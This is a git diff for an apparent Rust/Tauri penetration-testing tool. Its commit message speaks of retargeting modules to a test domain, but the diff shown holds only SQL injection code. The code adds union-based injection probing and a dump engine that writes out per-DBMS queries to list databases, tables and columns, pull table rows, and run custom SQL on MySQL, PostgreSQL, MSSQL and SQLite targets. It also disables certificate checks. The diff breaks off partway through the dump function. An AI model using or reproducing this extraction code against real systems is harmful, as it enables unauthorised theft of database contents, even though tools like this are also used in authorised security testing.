Update application to use insecure.newploit.com as the target domain
- Changed base URLs and targets in multiple modules to point to insecure.newploit.com for testing purposes. - Updated README.md to reflect the new domain and provide instructions for setting up the reverse proxy. - Adjusted configurations in AdminFinder, AutoPwn, Banner, DirFuzz, DnsTools, FormBrute, HttpProbe, PortScan, Repeater, Sqli, SslScan, SubEnum, Xploiter, and Xss components.
This commit is contained in:
@@ -25,6 +25,8 @@ pub fn run() {
|
|||||||
httpx::http_probe,
|
httpx::http_probe,
|
||||||
takeover::takeover_scan,
|
takeover::takeover_scan,
|
||||||
sqli::sqli_scan,
|
sqli::sqli_scan,
|
||||||
|
sqli::sqli_dump,
|
||||||
|
sqli::sqli_probe_union,
|
||||||
xss::xss_scan,
|
xss::xss_scan,
|
||||||
jwt::jwt_analyze,
|
jwt::jwt_analyze,
|
||||||
xploiter::xploit_run,
|
xploiter::xploit_run,
|
||||||
|
|||||||
@@ -103,6 +103,11 @@ pub struct SqliFinding {
|
|||||||
pub evidence: String,
|
pub evidence: String,
|
||||||
pub confidence: String,
|
pub confidence: String,
|
||||||
pub extracted: HashMap<String, String>,
|
pub extracted: HashMap<String, String>,
|
||||||
|
/// Original request context — used to drive sqli_dump on a confirmed
|
||||||
|
/// union finding. Frontend echoes these back.
|
||||||
|
pub base_value: String,
|
||||||
|
pub union_cols: Option<usize>,
|
||||||
|
pub union_position: Option<usize>,
|
||||||
}
|
}
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
// ------------------------------------------------------------------
|
||||||
@@ -148,6 +153,23 @@ static DBMS_ERRORS: Lazy<Vec<(&'static str, Vec<Regex>)>> = Lazy::new(|| vec![
|
|||||||
]),
|
]),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
fn hex_literal(s: &str) -> String {
|
||||||
|
let mut out = String::from("0x");
|
||||||
|
for b in s.as_bytes() {
|
||||||
|
out.push_str(&format!("{:02x}", b));
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// MySQL CHAR(n,n,...) builds the marker server-side from byte codes.
|
||||||
|
/// The raw injected payload then never contains the marker's ASCII bytes,
|
||||||
|
/// so matching the marker in the response body proves the DB actually
|
||||||
|
/// produced it (not just echoing our URL back).
|
||||||
|
fn mysql_char_literal(s: &str) -> String {
|
||||||
|
let parts: Vec<String> = s.as_bytes().iter().map(|b| b.to_string()).collect();
|
||||||
|
format!("CHAR({})", parts.join(","))
|
||||||
|
}
|
||||||
|
|
||||||
fn detect_dbms(body: &str) -> Option<&'static str> {
|
fn detect_dbms(body: &str) -> Option<&'static str> {
|
||||||
for (db, regexes) in DBMS_ERRORS.iter() {
|
for (db, regexes) in DBMS_ERRORS.iter() {
|
||||||
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
|
if regexes.iter().any(|re| re.is_match(body)) { return Some(db); }
|
||||||
@@ -552,35 +574,59 @@ async fn test_time_based(
|
|||||||
None
|
None
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static ORDER_BY_ERR: Lazy<Regex> = Lazy::new(|| Regex::new(
|
||||||
|
r"(?i)(unknown column ['`]?\d+['`]? in ['`]?order|order by position number \d+ is out of range|1st order by term out of range|order by clause is not in select list)"
|
||||||
|
).unwrap());
|
||||||
|
|
||||||
async fn test_union_based(
|
async fn test_union_based(
|
||||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
||||||
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
|
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>, usize, usize)> {
|
||||||
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
|
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
|
||||||
// Step 1: find column count via ORDER BY
|
|
||||||
|
// Baseline: response for a guaranteed-good n=1 after each prefix is
|
||||||
|
// recorded and subsequent n's are compared. Relying on generic text
|
||||||
|
// like "order by" in the body is unreliable because many apps echo
|
||||||
|
// the failing query back.
|
||||||
let mut cols: usize = 0;
|
let mut cols: usize = 0;
|
||||||
for (prefix, _suffix) in boundaries(level).iter() {
|
for (prefix, _suffix) in boundaries(level).iter() {
|
||||||
let mut last_ok: usize = 0;
|
// baseline for THIS prefix — ORDER BY 1 should always succeed if
|
||||||
for n in 1..=20 {
|
// the injection is valid at all.
|
||||||
|
let base_full = apply_tamper(&format!("{}{} ORDER BY 1-- -", point.base_value, prefix), tamper);
|
||||||
|
let (base_body, base_status, _) = match send(client, target, point, &base_full).await {
|
||||||
|
Some(v) => v,
|
||||||
|
None => continue,
|
||||||
|
};
|
||||||
|
// If ORDER BY 1 itself errors (this prefix is wrong) — skip.
|
||||||
|
if ORDER_BY_ERR.is_match(&base_body) || base_status >= 500 { continue; }
|
||||||
|
|
||||||
|
let mut last_ok: usize = 1;
|
||||||
|
for n in 2..=20 {
|
||||||
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
|
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
|
||||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
if let Some((body, status, _)) = send(client, target, point, &full).await {
|
||||||
let err = detect_dbms(&body).is_some()
|
let err = status >= 500
|
||||||
|| body.to_lowercase().contains("unknown column")
|
|| ORDER_BY_ERR.is_match(&body)
|
||||||
|| body.to_lowercase().contains("order by");
|
|| similarity(&base_body, &body) < 0.55;
|
||||||
if err { break; } else { last_ok = n; }
|
if err { break; } else { last_ok = n; }
|
||||||
} else { break; }
|
} else { break; }
|
||||||
}
|
}
|
||||||
if last_ok > 0 {
|
if last_ok > 0 {
|
||||||
cols = last_ok;
|
cols = last_ok;
|
||||||
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
|
// Build the marker via CHAR(n,n,...) so the raw injected
|
||||||
|
// query never contains the marker's ASCII. Many apps reflect
|
||||||
|
// the raw GET/POST param in the page (e.g. `<h1>User #<?=$id?>`),
|
||||||
|
// which used to false-positive every column. With CHAR() the
|
||||||
|
// marker only appears when the DB actually produced the row.
|
||||||
|
let marker_expr = mysql_char_literal(&marker);
|
||||||
|
// Step 2: UNION SELECT with NULLs, replace one at a time with marker
|
||||||
for position in 1..=cols {
|
for position in 1..=cols {
|
||||||
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
|
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
|
||||||
format!("'{}'", marker)
|
marker_expr.clone()
|
||||||
} else { "NULL".to_string() }).collect();
|
} else { "NULL".to_string() }).collect();
|
||||||
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||||
point.base_value, prefix, fields.join(",")), tamper);
|
point.base_value, prefix, fields.join(",")), tamper);
|
||||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
||||||
if body.contains(&marker) {
|
if body.contains(&marker) {
|
||||||
// injectable column found — try extracting data
|
// injectable column found — extract data with hex-wrapped concat
|
||||||
let mut extracted: HashMap<String, String> = HashMap::new();
|
let mut extracted: HashMap<String, String> = HashMap::new();
|
||||||
let probes = [
|
let probes = [
|
||||||
("version", "version()"),
|
("version", "version()"),
|
||||||
@@ -588,16 +634,17 @@ async fn test_union_based(
|
|||||||
("db", "database()"),
|
("db", "database()"),
|
||||||
];
|
];
|
||||||
for (name, expr) in probes {
|
for (name, expr) in probes {
|
||||||
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
|
fields[position - 1] = format!("CONCAT({m},{e},{m})", m=marker_expr, e=expr);
|
||||||
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||||
point.base_value, prefix, fields.join(",")), tamper);
|
point.base_value, prefix, fields.join(",")), tamper);
|
||||||
if let Some((b, _, _)) = send(client, target, point, &ep).await {
|
if let Some((b, _, _)) = send(client, target, point, &ep).await {
|
||||||
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
|
let re = Regex::new(&format!("{m}([\\s\\S]+?){m}",
|
||||||
|
m = regex::escape(&marker))).unwrap();
|
||||||
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
|
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
|
||||||
extracted.insert(name.into(), c.as_str().to_string());
|
extracted.insert(name.into(), c.as_str().to_string());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fields[position - 1] = format!("'{}'", marker);
|
fields[position - 1] = marker_expr.clone();
|
||||||
}
|
}
|
||||||
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
|
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
|
||||||
let lo = v.to_lowercase();
|
let lo = v.to_lowercase();
|
||||||
@@ -613,6 +660,8 @@ async fn test_union_based(
|
|||||||
format!("union injection at column {position}/{cols}, marker reflected"),
|
format!("union injection at column {position}/{cols}, marker reflected"),
|
||||||
dbms,
|
dbms,
|
||||||
extracted,
|
extracted,
|
||||||
|
cols,
|
||||||
|
position,
|
||||||
));
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -700,6 +749,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||||
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
|
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
|
||||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||||
|
base_value: point.base_value.clone(),
|
||||||
|
union_cols: None, union_position: None,
|
||||||
};
|
};
|
||||||
let _ = app.emit("sqli:hit", f.clone());
|
let _ = app.emit("sqli:hit", f.clone());
|
||||||
findings.push(f);
|
findings.push(f);
|
||||||
@@ -719,6 +770,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||||
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
|
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
|
||||||
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
|
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
|
||||||
|
base_value: point.base_value.clone(),
|
||||||
|
union_cols: None, union_position: None,
|
||||||
};
|
};
|
||||||
let _ = app.emit("sqli:hit", f.clone());
|
let _ = app.emit("sqli:hit", f.clone());
|
||||||
findings.push(f);
|
findings.push(f);
|
||||||
@@ -728,7 +781,7 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
|
|
||||||
// union-based
|
// union-based
|
||||||
if req.techniques.iter().any(|t| t == "union") {
|
if req.techniques.iter().any(|t| t == "union") {
|
||||||
if let Some((pre, suf, payload, evidence, db, extracted)) =
|
if let Some((pre, suf, payload, evidence, db, extracted, ucols, upos)) =
|
||||||
test_union_based(&client, &target, point, req.level, &req.tamper).await
|
test_union_based(&client, &target, point, req.level, &req.tamper).await
|
||||||
{
|
{
|
||||||
let f = SqliFinding {
|
let f = SqliFinding {
|
||||||
@@ -738,6 +791,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||||
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
|
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
|
||||||
evidence, confidence: "HIGH".into(), extracted,
|
evidence, confidence: "HIGH".into(), extracted,
|
||||||
|
base_value: point.base_value.clone(),
|
||||||
|
union_cols: Some(ucols), union_position: Some(upos),
|
||||||
};
|
};
|
||||||
let _ = app.emit("sqli:hit", f.clone());
|
let _ = app.emit("sqli:hit", f.clone());
|
||||||
findings.push(f);
|
findings.push(f);
|
||||||
@@ -757,6 +812,8 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||||
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
|
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
|
||||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||||
|
base_value: point.base_value.clone(),
|
||||||
|
union_cols: None, union_position: None,
|
||||||
};
|
};
|
||||||
let _ = app.emit("sqli:hit", f.clone());
|
let _ = app.emit("sqli:hit", f.clone());
|
||||||
findings.push(f);
|
findings.push(f);
|
||||||
@@ -768,3 +825,371 @@ pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFindi
|
|||||||
let _ = app.emit("sqli:done", findings.len());
|
let _ = app.emit("sqli:done", findings.len());
|
||||||
Ok(findings)
|
Ok(findings)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ===================================================================
|
||||||
|
// Dump engine — drives union-based extraction after a confirmed finding.
|
||||||
|
//
|
||||||
|
// Actions: "databases" | "tables" | "columns" | "rows" | "custom"
|
||||||
|
// DBMS : "MySQL" | "MariaDB" | "PostgreSQL" | "MSSQL" | "SQLite"
|
||||||
|
//
|
||||||
|
// Strategy: build a subquery that returns a single delimited string, wrap
|
||||||
|
// it in the DBMS-specific concat(marker, subq, marker), then inject into
|
||||||
|
// the confirmed UNION position. Parse by regex + delimiter split.
|
||||||
|
//
|
||||||
|
// Row dumps use U+007F (\x7f) as intra-row delimiter and `|` between rows.
|
||||||
|
// ===================================================================
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Deserialize)]
|
||||||
|
pub struct SqliDumpRequest {
|
||||||
|
pub url: String,
|
||||||
|
#[serde(default = "default_method")]
|
||||||
|
pub method: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub body: Option<String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub headers: HashMap<String, String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub cookies: Option<String>,
|
||||||
|
// injection context (from a previous finding)
|
||||||
|
pub param: String,
|
||||||
|
pub location: String,
|
||||||
|
pub base_value: String,
|
||||||
|
pub prefix: String,
|
||||||
|
pub cols: usize,
|
||||||
|
pub position: usize,
|
||||||
|
pub dbms: String,
|
||||||
|
// dump controls
|
||||||
|
pub action: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub database: Option<String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub table: Option<String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub columns: Option<Vec<String>>,
|
||||||
|
#[serde(default = "default_dump_limit")]
|
||||||
|
pub limit: usize,
|
||||||
|
#[serde(default)]
|
||||||
|
pub offset: usize,
|
||||||
|
#[serde(default)]
|
||||||
|
pub custom_sql: Option<String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub tamper: Vec<String>,
|
||||||
|
#[serde(default = "default_timeout")]
|
||||||
|
pub timeout_ms: u64,
|
||||||
|
#[serde(default = "default_true")]
|
||||||
|
pub follow_redirects: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn default_dump_limit() -> usize { 100 }
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct SqliDumpResult {
|
||||||
|
pub dbms: String,
|
||||||
|
pub action: String,
|
||||||
|
pub headers: Vec<String>,
|
||||||
|
pub rows: Vec<Vec<String>>,
|
||||||
|
pub count: usize,
|
||||||
|
pub truncated: bool,
|
||||||
|
pub raw_payload: String,
|
||||||
|
pub raw_captured: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn normalize_dbms(d: &str) -> &str {
|
||||||
|
let lo = d.to_lowercase();
|
||||||
|
if lo.contains("maria") || lo.contains("mysql") { "MySQL" }
|
||||||
|
else if lo.contains("postgres") { "PostgreSQL" }
|
||||||
|
else if lo.contains("mssql") || lo.contains("sql server") { "MSSQL" }
|
||||||
|
else if lo.contains("sqlite") { "SQLite" }
|
||||||
|
else if lo.contains("oracle") { "Oracle" }
|
||||||
|
else { "MySQL" }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn dump_expr(
|
||||||
|
dbms: &str, action: &str,
|
||||||
|
db: Option<&str>, table: Option<&str>, cols: &[String],
|
||||||
|
limit: usize, offset: usize, custom: Option<&str>,
|
||||||
|
) -> String {
|
||||||
|
let d = dbms.to_string();
|
||||||
|
match (d.as_str(), action) {
|
||||||
|
("MySQL", "databases") =>
|
||||||
|
"(SELECT GROUP_CONCAT(schema_name SEPARATOR 0x7c) FROM information_schema.schemata)".into(),
|
||||||
|
("MySQL", "tables") => {
|
||||||
|
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
|
||||||
|
format!("(SELECT GROUP_CONCAT(table_name SEPARATOR 0x7c) FROM information_schema.tables WHERE table_schema={d_lit})")
|
||||||
|
}
|
||||||
|
("MySQL", "columns") => {
|
||||||
|
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "database()".into() };
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
format!("(SELECT GROUP_CONCAT(column_name SEPARATOR 0x7c) FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
|
||||||
|
}
|
||||||
|
("MySQL", "rows") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
let qn = match db {
|
||||||
|
Some(x) if !x.is_empty() => format!("`{}`.`{}`", x.replace('`', ""), t.replace('`', "")),
|
||||||
|
_ => format!("`{}`", t.replace('`', "")),
|
||||||
|
};
|
||||||
|
let cl: Vec<String> = cols.iter().map(|c| format!("IFNULL(`{}`,'')", c.replace('`', ""))).collect();
|
||||||
|
let concat = format!("CONCAT_WS(0x7f,{})", cl.join(","));
|
||||||
|
format!("(SELECT GROUP_CONCAT({} SEPARATOR 0x7c) FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
|
||||||
|
}
|
||||||
|
|
||||||
|
("PostgreSQL", "databases") =>
|
||||||
|
"(SELECT string_agg(datname,'|') FROM pg_database WHERE datistemplate=false)".into(),
|
||||||
|
("PostgreSQL", "tables") => {
|
||||||
|
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
|
||||||
|
format!("(SELECT string_agg(tablename,'|') FROM pg_tables WHERE schemaname={})", d_lit)
|
||||||
|
}
|
||||||
|
("PostgreSQL", "columns") => {
|
||||||
|
let d_lit = match db { Some(x) if !x.is_empty() => format!("'{}'", esc_sq(x)), _ => "current_schema()".into() };
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
format!("(SELECT string_agg(column_name,'|') FROM information_schema.columns WHERE table_schema={} AND table_name='{}')", d_lit, esc_sq(t))
|
||||||
|
}
|
||||||
|
("PostgreSQL", "rows") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
let qn = match db {
|
||||||
|
Some(x) if !x.is_empty() => format!("\"{}\".\"{}\"", x.replace('"', ""), t.replace('"', "")),
|
||||||
|
_ => format!("\"{}\"", t.replace('"', "")),
|
||||||
|
};
|
||||||
|
let cl: Vec<String> = cols.iter().map(|c| format!("COALESCE(\"{}\"::text,'')", c.replace('"', ""))).collect();
|
||||||
|
let concat = cl.join("||chr(127)||");
|
||||||
|
format!("(SELECT string_agg({}, '|') FROM (SELECT * FROM {} LIMIT {} OFFSET {}) x)", concat, qn, limit, offset)
|
||||||
|
}
|
||||||
|
|
||||||
|
("MSSQL", "databases") =>
|
||||||
|
"(SELECT STRING_AGG(name,'|') FROM master.sys.databases)".into(),
|
||||||
|
("MSSQL", "tables") => {
|
||||||
|
match db { Some(x) if !x.is_empty() =>
|
||||||
|
format!("(SELECT STRING_AGG(name,'|') FROM {}.sys.tables)", x.replace('[', "").replace(']', "")),
|
||||||
|
_ => "(SELECT STRING_AGG(name,'|') FROM sys.tables)".into()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("MSSQL", "columns") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
format!("(SELECT STRING_AGG(name,'|') FROM sys.columns WHERE object_id=OBJECT_ID('{}'))", esc_sq(t))
|
||||||
|
}
|
||||||
|
("MSSQL", "rows") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
let qn = match db {
|
||||||
|
Some(x) if !x.is_empty() => format!("[{}].[dbo].[{}]", x.replace('[', "").replace(']', ""), t.replace('[', "").replace(']', "")),
|
||||||
|
_ => format!("[{}]", t.replace('[', "").replace(']', "")),
|
||||||
|
};
|
||||||
|
let cl: Vec<String> = cols.iter().map(|c| format!("ISNULL(CAST([{}] AS NVARCHAR(MAX)),'')", c.replace('[', "").replace(']', ""))).collect();
|
||||||
|
let concat = cl.join("+CHAR(127)+");
|
||||||
|
format!("(SELECT STRING_AGG({}, '|') FROM (SELECT TOP {} * FROM {}) x)", concat, limit, qn)
|
||||||
|
}
|
||||||
|
|
||||||
|
("SQLite", "databases") => "(SELECT 'main')".into(),
|
||||||
|
("SQLite", "tables") =>
|
||||||
|
"(SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table')".into(),
|
||||||
|
("SQLite", "columns") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
format!("(SELECT group_concat(name,'|') FROM pragma_table_info('{}'))", esc_sq(t))
|
||||||
|
}
|
||||||
|
("SQLite", "rows") => {
|
||||||
|
let t = table.unwrap_or("");
|
||||||
|
let cl: Vec<String> = cols.iter().map(|c| format!("ifnull(\"{}\",'')", c.replace('"', ""))).collect();
|
||||||
|
let concat = cl.join("||char(127)||");
|
||||||
|
format!("(SELECT group_concat({}, '|') FROM (SELECT * FROM \"{}\" LIMIT {} OFFSET {}) x)", concat, t.replace('"', ""), limit, offset)
|
||||||
|
}
|
||||||
|
|
||||||
|
(_, "custom") => custom.unwrap_or("NULL").to_string(),
|
||||||
|
_ => "NULL".into(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn esc_sq(s: &str) -> String { s.replace('\'', "''") }
|
||||||
|
|
||||||
|
fn wrap_marker(dbms: &str, marker: &str, expr: &str) -> String {
|
||||||
|
match dbms {
|
||||||
|
// MySQL: CHAR(n,n,...) — marker bytes never appear in raw payload,
|
||||||
|
// so apps that reflect the GET/POST param (e.g. <h1><?= $id ?>)
|
||||||
|
// can't false-positive our regex.
|
||||||
|
"MySQL" => {
|
||||||
|
let m = mysql_char_literal(marker);
|
||||||
|
format!("CONCAT({m},{e},{m})", m = m, e = expr)
|
||||||
|
}
|
||||||
|
"PostgreSQL" | "SQLite" => format!("('{m}'||({e})||'{m}')", m = marker, e = expr),
|
||||||
|
"MSSQL" => format!("('{m}' + CAST(({e}) AS NVARCHAR(MAX)) + '{m}')", m = marker, e = expr),
|
||||||
|
_ => expr.to_string(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_dump_captured(action: &str, captured: &str, cols: &Option<Vec<String>>) -> (Vec<String>, Vec<Vec<String>>) {
|
||||||
|
if captured.is_empty() { return (Vec::new(), Vec::new()); }
|
||||||
|
match action {
|
||||||
|
"databases" | "tables" | "columns" => {
|
||||||
|
let header = match action { "databases" => "database", "tables" => "table", _ => "column" };
|
||||||
|
let rows: Vec<Vec<String>> = captured.split('|')
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.map(|s| vec![s.to_string()])
|
||||||
|
.collect();
|
||||||
|
(vec![header.into()], rows)
|
||||||
|
}
|
||||||
|
"rows" => {
|
||||||
|
let hdr = cols.clone().unwrap_or_default();
|
||||||
|
let rows: Vec<Vec<String>> = captured.split('|')
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.map(|r| r.split('\u{7f}').map(String::from).collect())
|
||||||
|
.collect();
|
||||||
|
(hdr, rows)
|
||||||
|
}
|
||||||
|
_ => (vec!["result".into()], vec![vec![captured.to_string()]]),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------
|
||||||
|
// On-demand UNION probe — used when dump is requested on an
|
||||||
|
// error/boolean/time finding that never ran union during the scan
|
||||||
|
// (e.g. stop_on_first stopped at error-based).
|
||||||
|
// ------------------------------------------------------------------
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Deserialize)]
|
||||||
|
pub struct SqliProbeUnionRequest {
|
||||||
|
pub url: String,
|
||||||
|
#[serde(default = "default_method")]
|
||||||
|
pub method: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub body: Option<String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub headers: HashMap<String, String>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub cookies: Option<String>,
|
||||||
|
pub param: String,
|
||||||
|
pub location: String,
|
||||||
|
pub base_value: String,
|
||||||
|
#[serde(default = "default_level")]
|
||||||
|
pub level: u8,
|
||||||
|
#[serde(default)]
|
||||||
|
pub tamper: Vec<String>,
|
||||||
|
#[serde(default = "default_timeout")]
|
||||||
|
pub timeout_ms: u64,
|
||||||
|
#[serde(default = "default_true")]
|
||||||
|
pub follow_redirects: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct SqliProbeUnionResult {
|
||||||
|
pub prefix: String,
|
||||||
|
pub cols: usize,
|
||||||
|
pub position: usize,
|
||||||
|
pub dbms: Option<String>,
|
||||||
|
pub extracted: HashMap<String, String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub async fn sqli_probe_union(_app: AppHandle, req: SqliProbeUnionRequest) -> Result<SqliProbeUnionResult, String> {
|
||||||
|
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||||
|
let body_is_json = req.headers.iter().any(|(k, v)|
|
||||||
|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
|
||||||
|
let target = Target {
|
||||||
|
url, method: req.method, body: req.body, body_is_json,
|
||||||
|
headers: req.headers, cookies: req.cookies,
|
||||||
|
};
|
||||||
|
let point = InjectionPoint { location: req.location, name: req.param, base_value: req.base_value };
|
||||||
|
let client = reqwest::Client::builder()
|
||||||
|
.danger_accept_invalid_certs(true)
|
||||||
|
.timeout(Duration::from_millis(req.timeout_ms))
|
||||||
|
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
|
||||||
|
.cookie_store(false)
|
||||||
|
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/probe)")
|
||||||
|
.build()
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
|
||||||
|
match test_union_based(&client, &target, &point, req.level, &req.tamper).await {
|
||||||
|
Some((prefix, _suffix, _payload, _evidence, dbms, extracted, cols, position)) => {
|
||||||
|
Ok(SqliProbeUnionResult {
|
||||||
|
prefix, cols, position,
|
||||||
|
dbms: dbms.map(|s| s.to_string()),
|
||||||
|
extracted,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
None => Err("union probe failed — ORDER BY column count not found or UNION blocked".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
pub async fn sqli_dump(app: AppHandle, req: SqliDumpRequest) -> Result<SqliDumpResult, String> {
|
||||||
|
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||||
|
let body_is_json = req.headers.iter().any(|(k, v)|
|
||||||
|
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
|
||||||
|
|
||||||
|
let target = Target {
|
||||||
|
url, method: req.method.clone(), body: req.body.clone(), body_is_json,
|
||||||
|
headers: req.headers.clone(), cookies: req.cookies.clone(),
|
||||||
|
};
|
||||||
|
let point = InjectionPoint {
|
||||||
|
location: req.location.clone(),
|
||||||
|
name: req.param.clone(),
|
||||||
|
base_value: req.base_value.clone(),
|
||||||
|
};
|
||||||
|
|
||||||
|
let client = reqwest::Client::builder()
|
||||||
|
.danger_accept_invalid_certs(true)
|
||||||
|
.timeout(Duration::from_millis(req.timeout_ms))
|
||||||
|
.redirect(if req.follow_redirects { reqwest::redirect::Policy::limited(5) } else { reqwest::redirect::Policy::none() })
|
||||||
|
.cookie_store(false)
|
||||||
|
.user_agent("Mozilla/5.0 (PocketPentester-SQLi/dump)")
|
||||||
|
.build()
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
|
||||||
|
let dbms = normalize_dbms(&req.dbms).to_string();
|
||||||
|
let marker = format!("xpl{:04}dmp", rand::random::<u16>());
|
||||||
|
let subq = dump_expr(
|
||||||
|
&dbms, &req.action,
|
||||||
|
req.database.as_deref(), req.table.as_deref(),
|
||||||
|
req.columns.as_deref().unwrap_or(&[]),
|
||||||
|
req.limit, req.offset, req.custom_sql.as_deref(),
|
||||||
|
);
|
||||||
|
let wrapped = wrap_marker(&dbms, &marker, &subq);
|
||||||
|
|
||||||
|
let cols_count = req.cols.max(1);
|
||||||
|
let pos = req.position.max(1).min(cols_count);
|
||||||
|
